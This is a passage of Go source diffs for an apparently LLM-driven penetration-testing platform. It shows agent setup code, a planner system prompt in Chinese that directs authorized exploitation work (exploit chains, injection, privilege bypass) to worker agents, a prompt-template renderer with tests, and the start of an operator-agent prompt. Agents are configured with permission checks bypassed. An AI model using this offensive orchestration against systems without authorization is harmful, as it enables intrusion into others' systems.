// Chat handles one human message and returns the assistant reply. emit, if
|
||||
// non-nil, receives each execution step (thinking / tool_use / tool_result /
|
||||
// text / result) so the main-agent session shows its work — exactly like the
|
||||
// worker/planner sessions — not just the final answer.
|
||||
func (m *MainAgent) Chat(ctx context.Context, taskID int64, as *db.AssetStore, ts *db.ExplorationStore, goal, message string, emit func(db.Activity), notify func()) (string, error) {
|
||||
tsx := NewToolSet(ts, "human")
|
||||
if as != nil {
|
||||
tsx.SetAssetStore(as, as.Companies())
|
||||
}
|
||||
tsx.SetTaskID(taskID)
|
||||
tsx.SetNotify(notify) // add_hint wakes this task's planner (debounced)
|
||||
// 领域工具 + 基础默认工具集（Read/Write/Edit/MultiEdit/LS/Glob/Grep/Bash）
|
||||
base := append(tsx.MainAgentTools(), actool.DefaultTools()...)
|
||||
tools, def, cleanup := AugmentTools(ctx, "mainagent", base)
|
||||
defer cleanup()
|
||||
system, boundary := deferredSystem(mainAgentSystem(goal, m.workDir), def)
|
||||
opts := agentcore.Options{
|
||||
Provider: m.prov,
|
||||
SystemPrompt: system,
|
||||
DynamicBoundary: boundary,
|
||||
Tools: tools,
|
||||
DeferredTools: def.Deferred,
|
||||
UnlockSet: def.Unlock,
|
||||
PermissionMode: permission.ModeBypass,
|
||||
EnableWebFetch: true, // 走记录代理留痕；载入代理 CA 验证 MITM 重签的 HTTPS 证书
|
||||
WebFetchProxy: m.proxyAddr,
|
||||
WebFetchCACert: m.proxyCACert,
|
||||
// 联网搜索(可选)。ddgs 无需 key；brave-free 需 BraveKey；tavily 需 TavilyKey。
|
||||
// WebSearchProxy 是独立出口代理(http/https/socks5)，与记录流量的 MITM 代理无关；空则直连。
|
||||
EnableWebSearch: m.webSearch.Enabled,
|
||||
WebSearchBackend: m.webSearch.Backend,
|
||||
BraveSearchAPIKey: m.webSearch.BraveKey,
|
||||
TavilySearchAPIKey: m.webSearch.TavilyKey,
|
||||
WebSearchProxy: m.webSearch.Proxy,
|
||||
BashEnv: proxyEnv(m.proxyAddr, m.proxyCACert), // Bash 子命令默认走代理+信任 CA
|
||||
MaxTurns: m.maxTurns, // 0 = unlimited (configurable in agent management)
|
||||
Compaction: compactionConfig(m.window), // long chats stay within the window
|
||||
Todos: actool.NewTodoStore(), // 会话级临时待办（TodoWrite），纯规划用，退出即丢
|
||||
// 命中预算(步数)→ SDK 跑收尾:向用户输出一句进展总结。Prompt 与收尾轮数可后台编辑(默认 5 轮)。
|
||||
Settlement: wrapupSettlement("mainagent", nil),
|
||||
}
|
||||
if m.tx != nil { // persist raw human↔AI conversation; one accumulating file per task
|
||||
opts.Transcript = m.tx
|
||||
opts.SessionID = fmt.Sprintf("exp%d-main", ts.ID())
|
||||
}
|
||||
s := agentcore.NewSession(opts)
|
||||
defer s.Close()
|
||||
// reload the prior conversation from the transcript so the agent has context
|
||||
// across turns (each Chat is a fresh session; without this it can't see earlier
|
||||
// messages). First turn: no file yet → Resume loads nothing and proceeds.
|
||||
if m.tx != nil {
|
||||
_ = s.Resume(opts.SessionID)
|
||||
}
|
||||
// C2: this session is fresh each turn; re-unlock skill-gated MCPs from prior
|
||||
// Skill() calls in the reloaded history so revealed tools stay callable.
|
||||
seedUnlockFromHistory(s.Messages(), def.UnlockSkill)
|
||||
text, _, err := captureRunSession(ctx, s, message, func(r db.Activity) {
|
||||
if emit != nil {
|
||||
r.Worker = "mainagent"
|
||||
emit(r)
|
||||
}
|
||||
})
|
||||
return text, err
|
||||
}
|
||||
@@ -0,0 +1,260 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/norma/agentcore"
|
||||
"github.com/Autumn-27/norma/llm"
|
||||
"github.com/Autumn-27/norma/permission"
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
"github.com/Autumn-27/norma/transcript"
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// Planner is the event-driven LLM planner (docs §4.3): each time the asset or
|
||||
// exploration graph changes (debounced), it reads the exploration route, queries
|
||||
// assets, judges whether the task goal is met, and emits 0..N exploration intents
|
||||
// into the frontier. It is the sole intent generator.
|
||||
type Planner struct {
|
||||
prov llm.Provider
|
||||
model string
|
||||
tx *transcript.Store // raw LLM conversation persistence (nil = off)
|
||||
window int // context window in tokens (for compaction)
|
||||
maxTurns int // max agent turns per run (0 = unlimited)
|
||||
killWork func(intentID int64) error // engine callback to terminate a running work (nil = off)
|
||||
steerWork func(intentID int64, msg string) error // engine callback to steer a running work mid-run (nil = off)
|
||||
proxyAddr string // recording proxy for WebFetch (empty = direct)
|
||||
proxyCACert string // recording proxy's CA cert path (HTTPS verify)
|
||||
webSearch WebSearchOpts // web_search tool backend selection (off by default)
|
||||
workDir string // shared work dir (surfaced in prompt as artifact-output target)
|
||||
|
||||
// todos keeps ONE plan-scratchpad per task (keyed by exploration id) so the
|
||||
// planner's multi-step plan survives across wake-ups — each Plan() is a fresh
|
||||
// session, but the shared store lets it record a serial exploit chain once and
|
||||
// dispatch it step-by-step over rounds instead of front-loading it in parallel.
|
||||
todoMu sync.Mutex
|
||||
todos map[int64]*actool.TodoStore
|
||||
}
|
||||
|
||||
func NewPlanner(prov llm.Provider, model, workDir string, tx *transcript.Store, window, maxTurns int) *Planner {
|
||||
return &Planner{prov: prov, model: model, workDir: workDir, tx: tx, window: window, maxTurns: maxTurns, todos: map[int64]*actool.TodoStore{}}
|
||||
}
|
||||
|
||||
// SetProxy points the planner's WebFetch at the recording proxy plus the CA cert
|
||||
// it trusts to verify HTTPS through it (empty addr = direct).
|
||||
func (p *Planner) SetProxy(addr, caCert string) { p.proxyAddr, p.proxyCACert = addr, caCert }
|
||||
|
||||
// SetWebSearch selects the web_search backend for the planner (off by default).
|
||||
func (p *Planner) SetWebSearch(o WebSearchOpts) { p.webSearch = o }
|
||||
|
||||
// todoFor returns the task's persistent planning todo store, creating it on first
|
||||
// use. Shared across all of this task's planner wake-ups.
|
||||
func (p *Planner) todoFor(expID int64) *actool.TodoStore {
|
||||
p.todoMu.Lock()
|
||||
defer p.todoMu.Unlock()
|
||||
s := p.todos[expID]
|
||||
if s == nil {
|
||||
s = actool.NewTodoStore()
|
||||
p.todos[expID] = s
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// SetKillWork wires the engine's per-work terminate callback so the planner's
|
||||
// kill_work tool can stop a single running worker.
|
||||
func (p *Planner) SetKillWork(fn func(intentID int64) error) { p.killWork = fn }
|
||||
|
||||
// SetSteerWork wires the engine's per-work steering callback so the planner's
|
||||
// steer_work tool can inject a mid-run course-correction into a running worker.
|
||||
func (p *Planner) SetSteerWork(fn func(intentID int64, msg string) error) { p.steerWork = fn }
|
||||
|
||||
// renderPlannerTodos formats the persistent planning todo for injection into the
|
||||
// wake-up prompt (empty when there are no todos yet — first wake-up).
|
||||
func renderPlannerTodos(items []actool.Todo) string {
|
||||
if len(items) == 0 {
|
||||
return ""
|
||||
}
|
||||
var b strings.Builder
|
||||
b.WriteString("\n\n【你的规划待办（跨唤醒保留，上一轮你写的）】：\n")
|
||||
for _, it := range items {
|
||||
mark := map[actool.TodoStatus]string{actool.TodoPending: "☐", actool.TodoInProgress: "▶", actool.TodoCompleted: "✔"}[it.Status]
|
||||
if mark == "" {
|
||||
mark = "☐"
|
||||
}
|
||||
b.WriteString(fmt.Sprintf(" %s %s\n", mark, it.Content))
|
||||
}
|
||||
b.WriteString("据此推进：只对【前置步骤已完成 / 其依赖的 fact 已存在】的下一步派意图；用 TodoWrite 更新清单（把已被 fact 满足的步骤标 completed）。不要重复派已在清单里 pending/in_progress 的步骤。")
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// renderDoneIntents surfaces the intent(s) whose completion triggered this round
|
||||
// so the planner looks first at their fresh yields (in the态势 below) before
|
||||
// deciding whether a new direction opened up. Empty for non-completion wakes.
|
||||
func renderDoneIntents(ids []int64) string {
|
||||
if len(ids) == 0 {
|
||||
return ""
|
||||
}
|
||||
parts := make([]string, len(ids))
|
||||
for i, id := range ids {
|
||||
parts[i] = fmt.Sprintf("#%d", id)
|
||||
}
|
||||
return "\n\n【本次触发本轮的、刚完成的意图】：" + strings.Join(parts, "、")
|
||||
}
|
||||
|
||||
// renderGraphOverview folds the pre-computed graph_overview snapshot into the
|
||||
// wake-up prompt so the planner starts each round with the full situation in
|
||||
// hand — saving the round-trip it would otherwise spend calling the tool. It is
|
||||
// the exact same JSON graph_overview would return; deeper detail is still one
|
||||
// tool call away (node_detail / list_facts / …).
|
||||
func renderGraphOverview(data map[string]any) string {
|
||||
b, err := json.Marshal(data)
|
||||
if err != nil {
|
||||
return "" // fall back to the model calling graph_overview itself
|
||||
}
|
||||
return "\n\n【本轮态势（graph_overview 预取，等同你调用该工具的返回；需要细节再按需调 node_detail/list_facts 等）】：\n" + string(b)
|
||||
}
|
||||
|
||||
// plannerDefaultTmpl is the built-in EDITABLE body (段 [A]) of the planner prompt,
|
||||
// seeded into agent_prompts. Goal is a {{.Goal}} template var; the 中间产物输出规约
|
||||
// tail is code-owned (artifactSpec) and appended by plannerSystem after rendering.
|
||||
const plannerDefaultTmpl = `你是一个授权渗透测试系统的"规划者"。你被频繁唤醒（图一变就唤醒）。你的职责：读取态势、判定目标、并且**只在确有未被覆盖的新方向时**才补充探索意图。
|
||||
|
||||
任务目标：{{.Goal}}
|
||||
|
||||
⚠️ 最重要的原则：**这一轮生成 0 个意图是完全正常、而且是最常见的结果。** 你不是"每次都要产出意图"的机器。绝大多数唤醒，frontier 里已有的意图已经覆盖了所有已知方向，你应当什么都不加、直接结束。重复/换措辞地生成已经存在的意图是严重错误。
|
||||
|
||||
决策流程（每次唤醒）：
|
||||
1. **完整态势已直接附在本提示下方（就是 graph_overview 的返回，无需再调它）**：task（**原始任务标题+目标**，即根节点）、资产计数、goals 及其状态、open/running/recent_done 意图、sites_without_endpoints、findings（**确认漏洞**数）、facts（**探索事实/结论**数，与漏洞是两类）、recent_facts（最近事实的 {id, summary, confidence?}，含"端口关闭/不可注入"等**否定结论**——据此别再为已探明的死路生成意图；但 confidence=inferred 的否定结论只是【推断】、证据弱，别当铁案，若该方向对目标很关键值得派一条复核意图）。**这里的探索节点（goals/意图/facts/findings）都只含本任务的**（绝不会有别的任务的目标）；**资产图则全局共享**（多任务同一份，资产计数是全局在范围内的数据，非本任务独有）。需要更深的细节时才按需调：list_facts 列全部事实、list_findings 列全部漏洞、**node_detail(id)** 取某条的完整证据/详情（列表/recent_facts 只给摘要）。
|
||||
- open_intents / running_intents / recent_done_intents——"哪些方向已经有意图在覆盖/已尝试"。每个意图还带 **parents（上游：它派生自哪些事实/意图）和 yields（下游：它产生了哪些事实/发现）**——这就是探索图的**血缘关系**，据此理解"哪些事实来自哪个方向、能否综合成新方向"。recent_facts 里每个事实带 **from_intent**（由哪个意图产生）。
|
||||
- sites_without_endpoints / findings——"哪些方向【可能】需要探索"。
|
||||
- 只有需要某一片的细节时，才**按需**调 list_assets（pull 模式：可用 q 关键字搜索，可叠加 type/company_id/task_id 过滤，分页 limit/offset；或用 id/ids 直接取）、asset_neighbors、list_findings。资产图全局共享，别默认拉全量。资产中可能包含非本次任务涉及到的资产，所以需要主要出现非本次任务相关的资产时忽略这些资产。
|
||||
2. 判目标（核心职责）：graph_overview 的 goals 字段已含目标与状态；对已被某发现/事实证明的未达成目标，调 prove_goal(goal_id,evidence_id,reason) 标记 met。**当你用 prove_goal 标记的这一个恰好是最后一个未完成目标时，系统会自动判定整个任务完成、无需你再调 goal_met**。goal_met 仅在你想【绕过逐个 prove_goal、直接从全局判定任务已达成】时才用。
|
||||
2.5. **（可选，仅限开局、极轻量）探测理解**：你具备 Bash 等执行能力，它的**唯一正当用途**是——当**图里几乎还没有事实**（recent_facts 基本为空、任务刚开始）、仅凭态势无法把初始意图描述具体时，对目标做**极少量、只读**的探测（如 1–2 次 curl 看首页/指纹），据此产出更精准的**初始意图**。
|
||||
⚠️ **牢记你的身份边界：你是"规划者"，不是"执行者"。你在这里做的一切都只为【生成/说清意图】，绝不是【在 plan 里把活干了】。** 探测的**唯一合法产物是一句更精准的意图描述**——绝不能是漏洞的发现、验证、利用，也不能是端点/目录/参数的枚举结果。任何"我顺手把这个也测了/确认了"的念头都是越界：那是 worker 在 work 阶段该做的事，你只需把它**写成一个意图派下去**。
|
||||
**三条硬性边界，务必守住**：
|
||||
- **只要图里已经有 worker 产出的 fact（facts>0 / recent_facts 非空），就【禁止】再自己探测。** 此时一切判断都基于已有 fact，你这一轮的产出只能是"派新意图"或"结束本轮"。看到某个线索想深挖时，**正确反应是派一个意图让 worker 去查，绝不是自己 curl**。
|
||||
- 即使在开局，也**最多探几次（≤3）就收手**，只为把初始意图说清楚；**绝不要**滑进：逐个枚举端点/目录、逐个试 id、base64 解码链、反复探同一接口、任何注入/越权/漏洞的测试或验证——那些**全是 worker 的重活**，是你要生成的意图内容，不是你自己该做的事。一旦发现自己在"深入查证"而不是"快速定方向"，立刻停手，把剩下的写成意图。
|
||||
- 探测只帮你"想清楚"，**本身不产出意图**；能从现有事实/态势判断的，就**根本不必**探测。
|
||||
3. **决定是否补探索方向（务必克制）**：意图是【开放的探索方向】，不是固定类型/菜单——你要结合**已知事实、资产与任务目标**，自行判断"为了逼近目标，下一步还有哪些有价值、尚未被覆盖的探索方向"。把这些方向逐一与 open_intents + running_intents + recent_done_intents 比对：
|
||||
- 该方向已有 open 或 running 意图覆盖 → **不要再生成**（正在被处理）。
|
||||
- 该方向在 recent_done_intents 里已尝试过（即使没产出）→ **不要原样重试**。把它当作【已封锁路线（blocked）】：仅当出现【材料性的新机理】——新事实、新资产、新参数、或一种明显不同的打法/构造——才重新派，且新意图的 summary 里要写清"这次和上次不同在哪"。**只是换个措辞、或"再试一次说不定行"都不算新机理，禁止重试。** 反之，若某条否定结论是 confidence=inferred 的弱证据、且该方向对目标关键，用【一条复核意图】去证实或推翻它是正当的（这属于新理由）。
|
||||
- 仅对【当前完全没有任何意图覆盖的全新方向】生成。
|
||||
- 所有已知方向都已被现有意图覆盖 → **不生成任何意图，直接结束本轮。**
|
||||
- **保持路线多样、别过早收敛到一条**：当目标尚未达成时，若现有意图全都挤在【同一条攻击路线/同一类入口】上，而还存在【本质不同】的未覆盖方向（如另一种入口面、另一类资产、另一条利用链），优先补一条那样的分歧方向，而不是在同一条线上再加同义意图。理想状态是让 2–3 条彼此独立、机理不同的路线同时存活（如"从上传链打"与"从认证绕过打"）；只有当某条路线已交出【目标逼近】的证据时，才值得把资源集中过去。判断多样性看方向的实质差异，不看措辞。（这不与"0 意图正常"冲突：只有确存在本质不同且未覆盖的方向才补；空白路线若已被现有意图覆盖，仍旧 0 意图。）
|
||||
3.5. **串行利用链：分步派，别一次拆成并行。** 很多利用是一条**强依赖串行链**（如：①→ ② → ③）——后一步依赖前一步的**实际产出**。这种情况：
|
||||
- **不要**把 ①②③ 一次性作为多个并行意图下发（下游 worker 拿不到还不存在的前置产出，只会重复/空转）；
|
||||
- **用 TodoWrite 把整条链记成待办**（每步一条），然后**本轮只派"前置已满足"的那一步**（通常是第一步）；
|
||||
- 待该步产出 fact 后，下一次唤醒（提示里会带上你的待办清单）再派下一步，并把已满足的步骤标 completed；
|
||||
- 判断"同一件事"别拆两条（如"确认触发点"和"触发触发点"是同一步）。**平行的探索维度**（如同时枚举多个不相关端点）才用多意图并行。
|
||||
4. 用【一次】 add_intent 批量提交第 3 步筛出的新方向（intents 数组，最多 4 个最高价值的；不要逐条多次调）：
|
||||
- summary：一句话自由描述该方向（做什么+为什么），用自然语言，**不要套用固定分类**。方向要在 summary 里写清楚，去重主要靠它与已有意图比对。
|
||||
- asset_ids：本方向要**测试/攻击的目标资产 id**（**尽量传**，0/1/多个；是 list_assets 里的资产 id）。只要方向围绕某些具体资产（某站点/接口/参数/主机）就**务必传上**——它标记「这条探索打哪些目标」，用于覆盖去重、把意图连入资产链路；跨多个资产就都传。仅当纯全局侦察、确实没有具体目标资产时才留空。
|
||||
- parent_ids：本方向由哪些【上游节点】综合得出（可选，0/1/多个）。**多个事实结合产生一个新意图，就把这些事实 id 都传上**；派生自某上游意图/发现也传其 id；顶层全新方向留空。
|
||||
|
||||
|
||||
宁可不生成，也不要重复或硬凑。简洁、克制、高效。`
|
||||
|
||||
func plannerSystem(goal, workDir string) string {
|
||||
body := renderSystem("planner", plannerDefaultTmpl, PlannerVars{Goal: goal, Now: time.Now().Format("2006-01-02 15:04:05 MST")})
|
||||
return body + artifactSpec(workDir)
|
||||
}
|
||||
|
||||
// Plan runs one planning round. emit, if non-nil, receives the planner's execution
|
||||
// steps (so users can see how it reads the situation and judges goals — the
|
||||
// planner is the intent generator and was previously a black box). Returns whether
|
||||
// the planner judged the goal met.
|
||||
// doneIntents carries the ids of the intent(s) whose completion triggered this
|
||||
// round (may be several — the engine debounces a burst; empty for non-completion
|
||||
// wakes). They are surfaced in the prompt so the planner focuses on the fresh
|
||||
// yields of what just finished.
|
||||
func (p *Planner) Plan(ctx context.Context, taskID int64, as *db.AssetStore, ts *db.ExplorationStore, goal string, doneIntents []int64, emit func(db.Activity)) (met bool, reason string, err error) {
|
||||
tsx := NewToolSet(ts, "planner")
|
||||
if as != nil {
|
||||
tsx.SetAssetStore(as, as.Companies())
|
||||
}
|
||||
tsx.SetTaskID(taskID)
|
||||
tsx.killWork = p.killWork // enable kill_work tool (nil = unavailable)
|
||||
tsx.steerWork = p.steerWork // enable steer_work tool (nil = unavailable)
|
||||
if origin, _ := ts.OriginFactID(); origin > 0 {
|
||||
tsx.SetOwnerNode(origin) // planner-side anchors default to the task root (origin fact)
|
||||
}
|
||||
// 领域工具 + 基础默认工具集（Read/Write/Edit/MultiEdit/LS/Glob/Grep/Bash）
|
||||
base := append(tsx.PlannerTools(), actool.DefaultTools()...)
|
||||
tools, def, cleanup := AugmentTools(ctx, "planner", base)
|
||||
defer cleanup()
|
||||
// 关键态势（刚完成的意图 + 预取的完整图）放进 system prompt，而不是 user 输入：
|
||||
// system 段永不被 compaction 压缩，长回合里也保证这份态势始终在场；轮内固定，还能吃到
|
||||
// system 缓存。它落在指令之后、deferred 工具块之前（deferredSystem 保证块在最后）。
|
||||
situational := renderDoneIntents(doneIntents) + renderGraphOverview(tsx.graphOverviewData())
|
||||
// 任务级 deadline / 终局模式(经 ctx 注入,见 taskclock.go)。终局那一轮把任务超时
|
||||
// planner 收尾词作为【本轮操作指令】直接注入 system,让它只做最后目标判定、不产新意图。
|
||||
tc := taskClockFrom(ctx)
|
||||
if tc.Final {
|
||||
situational += "\n\n【任务终局收尾（本轮特殊指令，覆盖上面的常规规划流程）】：" + resolveTaskTimeoutWrapup("planner")
|
||||
}
|
||||
system, boundary := deferredSystem(plannerSystem(goal, p.workDir)+situational, def)
|
||||
// planner 无自身墙钟预算;有 deadline 时把 MaxDuration 夹逼到剩余,让在跑的规划轮在
|
||||
// 任务到点时进收尾(因超时→任务超时词,因步数→per-run 词)。
|
||||
maxDur, clamped := clampMaxDuration(tc.DeadlineUnix, 0)
|
||||
settle := wrapupSettlement("planner", nil)
|
||||
if tc.DeadlineUnix > 0 {
|
||||
settle = wrapupSettlementForTask("planner", nil, clamped)
|
||||
}
|
||||
opts := agentcore.Options{
|
||||
Provider: p.prov,
|
||||
SystemPrompt: system,
|
||||
DynamicBoundary: boundary,
|
||||
Tools: tools,
|
||||
DeferredTools: def.Deferred,
|
||||
UnlockSet: def.Unlock,
|
||||
PermissionMode: permission.ModeBypass,
|
||||
EnableWebFetch: true, // 走记录代理留痕；载入代理 CA 验证 MITM 重签的 HTTPS 证书
|
||||
WebFetchProxy: p.proxyAddr,
|
||||
WebFetchCACert: p.proxyCACert,
|
||||
// 联网搜索(可选)。ddgs 无需 key；brave-free 需 BraveKey；tavily 需 TavilyKey。
|
||||
// WebSearchProxy 是独立出口代理(http/https/socks5)，与记录流量的 MITM 代理无关；空则直连。
|
||||
EnableWebSearch: p.webSearch.Enabled,
|
||||
WebSearchBackend: p.webSearch.Backend,
|
||||
BraveSearchAPIKey: p.webSearch.BraveKey,
|
||||
TavilySearchAPIKey: p.webSearch.TavilyKey,
|
||||
WebSearchProxy: p.webSearch.Proxy,
|
||||
BashEnv: proxyEnv(p.proxyAddr, p.proxyCACert), // Bash 子命令默认走代理+信任 CA
|
||||
MaxTurns: p.maxTurns, // 0 = unlimited (configurable in agent management)
|
||||
MaxDuration: maxDur, // 0=不限;有 deadline 时=距 deadline 剩余
|
||||
Compaction: compactionConfig(p.window),
|
||||
// 跨唤醒共享的规划待办：让串行链在多轮之间保留（session 是新的，store 不是）。
|
||||
Todos: p.todoFor(ts.ID()),
|
||||
// 命中【本轮】步数预算→ SDK 跑收尾:把本轮已想清楚的结论落地(该派的 add_intent、
|
||||
// 能证的 prove_goal、串行链记 TodoWrite),而非停止规划——planner 之后仍会被反复唤醒。
|
||||
// clamped(被任务 deadline 夹逼)时改用 PromptByReason(见 wrapupSettlementForTask)。
|
||||
Settlement: settle,
|
||||
}
|
||||
if p.tx != nil { // persist raw LLM conversation; one accumulating file per task's planner
|
||||
opts.Transcript = p.tx
|
||||
opts.SessionID = fmt.Sprintf("exp%d-planner", ts.ID())
|
||||
}
|
||||
// 态势（刚完成的意图 + 完整图）已在上面拼进 system prompt（抗压缩、轮内常驻）。这里
|
||||
// 的 user 输入只留指令 + 跨唤醒待办（todo 是模型自己的规划便签，可再生，放 user 即可）。
|
||||
input := "图发生了变化，请规划下一步：读取上方 system 里的态势，判定目标。**本轮若无未被覆盖的新方向，直接结束即可（生成 0 个意图是正常且常见的，尤其刚派完意图在等 worker 产出时）。绝不要为了“结束本轮”去调 goal_met——goal_met 会【立即结束整个任务】，只在你确认目标已【真正达成】（已拿到目标成果/已确认目标漏洞）时才调；未达成就用 prove_goal 逐个标记、或什么都不调直接结束。**" +
|
||||
renderPlannerTodos(opts.Todos.List())
|
||||
// 有 deadline 夹逼时加硬 ctx 兜底(软预算 + grace),防单轮卡死绕过轮边界软超时。
|
||||
runCtx := ctx
|
||||
if maxDur > 0 {
|
||||
var cancel context.CancelFunc
|
||||
runCtx, cancel = context.WithTimeout(ctx, maxDur+settleHardGrace)
|
||||
defer cancel()
|
||||
}
|
||||
_, _, err = captureRun(runCtx, opts, input,
|
||||
func(r db.Activity) {
|
||||
if emit != nil {
|
||||
r.Worker = "planner" // planner activity has no intent_id (it generates them)
|
||||
emit(r)
|
||||
}
|
||||
})
|
||||
return tsx.GoalMet, tsx.Reason, err
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"text/template"
|
||||
)
|
||||
|
||||
// PromptOverride, if set, returns the stored system-prompt template for an agent
|
||||
// key and whether one exists. The server wires it to the PG agent_prompts table.
|
||||
// When nil or no override exists, agents use their built-in default prompt — so
|
||||
// behavior is identical until a user edits a prompt in the UI.
|
||||
var PromptOverride func(agentKey string) (string, bool)
|
||||
|
||||
// Prompt-variable structs — fields mirror each agent's catalog (docs §5a) so a
|
||||
// user template referencing a catalog variable renders; referencing anything else
|
||||
// fails template execution and falls back to the built-in default.
|
||||
type PlannerVars struct{ Goal, Scope, AssetSummary, Now string }
|
||||
type WorkerVars struct{ ProxyAddr, WorkerName string }
|
||||
type MainVars struct{ Goal, AssetSummary, FindingsSummary string }
|
||||
type GoalsVars struct{ EngagementDescription, Now string }
|
||||
|
||||
// renderSystem returns the rendered system-prompt BODY (段 [A]) for agentKey.
|
||||
// Precedence: the DB-stored template (if any) over the built-in default template
|
||||
// (def). BOTH are Go templates now — the built-in default is seeded into the DB
|
||||
// verbatim, so the two paths render identically until a user edits the prompt.
|
||||
// Rendering always runs (def used to be pre-substituted plain text; it is now a
|
||||
// {{.Var}} template like the DB one). On any render error we fall back to the
|
||||
// default template, then to the raw default string — an agent never starts with a
|
||||
// half-rendered prompt. Callers append the code-owned tail (trafficTool / 中间产物
|
||||
// 输出规约) AFTER this, so those can't be edited away via the DB body.
|
||||
func renderSystem(agentKey, def string, vars any) string {
|
||||
tmpl := def
|
||||
if PromptOverride != nil {
|
||||
if t, ok := PromptOverride(agentKey); ok && t != "" {
|
||||
tmpl = t
|
||||
}
|
||||
}
|
||||
if out, err := renderTmpl(tmpl, vars); err == nil {
|
||||
return out
|
||||
}
|
||||
// DB template broke (e.g. references an out-of-catalog var) → code default.
|
||||
if out, err := renderTmpl(def, vars); err == nil {
|
||||
return out
|
||||
}
|
||||
return def
|
||||
}
|
||||
|
||||
func renderTmpl(tmpl string, vars any) (string, error) {
|
||||
t, err := template.New("p").Option("missingkey=error").Parse(tmpl)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
var b bytes.Buffer
|
||||
if err := t.Execute(&b, vars); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return b.String(), nil
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRenderSystemOverrideAndFallback(t *testing.T) {
|
||||
t.Cleanup(func() { PromptOverride = nil })
|
||||
|
||||
// no override → built-in default
|
||||
PromptOverride = nil
|
||||
if got := renderSystem("planner", "DEFAULT", PlannerVars{Goal: "g"}); got != "DEFAULT" {
|
||||
t.Fatalf("no override should give default, got %q", got)
|
||||
}
|
||||
|
||||
// override → rendered with vars
|
||||
PromptOverride = func(k string) (string, bool) {
|
||||
if k == "planner" {
|
||||
return "目标:{{.Goal}} 范围:{{.Scope}}", true
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
if got := renderSystem("planner", "DEFAULT", PlannerVars{Goal: "拿下X", Scope: "*.x.com"}); got != "目标:拿下X 范围:*.x.com" {
|
||||
t.Fatalf("override render: %q", got)
|
||||
}
|
||||
|
||||
// override referencing a non-catalog var → execution error → fallback to default
|
||||
PromptOverride = func(k string) (string, bool) { return "{{.NotInCatalog}}", true }
|
||||
if got := renderSystem("planner", "DEFAULT", PlannerVars{Goal: "x"}); got != "DEFAULT" {
|
||||
t.Fatalf("bad var should fall back to default, got %q", got)
|
||||
}
|
||||
|
||||
// full plannerSystem path: DB body [A] is honored, then the code-owned tail
|
||||
// [C] (中间产物输出规约) is ALWAYS appended — editing the body can't drop it.
|
||||
PromptOverride = func(k string) (string, bool) { return "PLANNER {{.Goal}}", true }
|
||||
got := plannerSystem("拿下X", "/data")
|
||||
if !strings.HasPrefix(got, "PLANNER 拿下X") {
|
||||
t.Fatalf("plannerSystem body not honored: %q", got)
|
||||
}
|
||||
if !strings.Contains(got, "中间产物输出规约") || !strings.Contains(got, "/data") {
|
||||
t.Fatalf("plannerSystem missing code-owned artifact tail: %q", got)
|
||||
}
|
||||
|
||||
// worker dual-text via {{if .ProxyAddr}} in a user template, plus the code tail:
|
||||
// [B] trafficTool present only with a proxy, [C] artifact spec always present.
|
||||
PromptOverride = func(k string) (string, bool) {
|
||||
return "{{if .ProxyAddr}}走代理 {{.ProxyAddr}}{{else}}手动{{end}}", true
|
||||
}
|
||||
withProxy := workerSystem("127.0.0.1:8080", "/data")
|
||||
if !strings.HasPrefix(withProxy, "走代理 127.0.0.1:8080") {
|
||||
t.Fatalf("worker proxy branch body: %q", withProxy)
|
||||
}
|
||||
if !strings.Contains(withProxy, "traffic_search") {
|
||||
t.Fatalf("worker with proxy should inject trafficTool: %q", withProxy)
|
||||
}
|
||||
if !strings.Contains(withProxy, "中间产物输出规约") {
|
||||
t.Fatalf("worker missing artifact tail: %q", withProxy)
|
||||
}
|
||||
noProxy := workerSystem("", "/data")
|
||||
if !strings.HasPrefix(noProxy, "手动") {
|
||||
t.Fatalf("worker no-proxy branch body: %q", noProxy)
|
||||
}
|
||||
if strings.Contains(noProxy, "traffic_search") {
|
||||
t.Fatalf("worker without proxy must NOT inject trafficTool: %q", noProxy)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
package agent
|
||||
|
||||
// 本文件把内置 agent 的「默认提示词正文」(段 [A]) 变成可枚举、可被服务端幂等
|
||||
// 播种进 agent_prompts 表的目录 —— 镜像 toolcatalog.go 的 BuiltinToolSeeds()。
|
||||
//
|
||||
// 只包含【可编辑正文】：段 [B] trafficTool 与段 [C] 中间产物输出规约 是代码固定
|
||||
// 注入(见 worker.go 的 workerTrafficBlock/artifactSpec)，不入库、不可编辑，因此
|
||||
// 不在种子里。种子文本用 Go 模板占位({{.Goal}} 等)，渲染时按运行期变量填充。
|
||||
|
||||
// autoDefaultTmpl is the built-in "Auto" platform-operator agent's prompt. Auto
|
||||
// runs via the chat page and drives the platform through tools: task ops
|
||||
// (spawn/list/pause/hint + read graph/findings/traces) and platform management
|
||||
// (create/modify skill, custom tool, MCP). It seeds into agent_prompts like the
|
||||
// other built-ins.
|
||||
const autoDefaultTmpl = `你是 **Auto**，这个渗透测试平台的「操作助手」。你不亲自渗透，而是**用工具操作平台**、按用户指令把事情办好。
|
||||
|
||||
你能做的（取决于给你开放了哪些工具）：
|
||||
1. **任务操作**：list_tasks 看全局、spawn_task 起子任务、get_task_graph / list_task_findings 读某任务的进展与漏洞(含 flag)、get_task_worker_trace 看某个 work 的执行过程、pause_task 暂停、add_task_hint 给任务注入提示。
|
||||
2. **平台管理**：create_skill / update_skill 建改技能；create_custom_tool / update_custom_tool 建改自定义工具(command/script/http)；create_mcp / update_mcp 建改 MCP 服务器。
|
||||
|
||||
原则：
|
||||
- 先看清现状(list_tasks / get_task_graph 等)再动手；一步到位、少空转。
|
||||
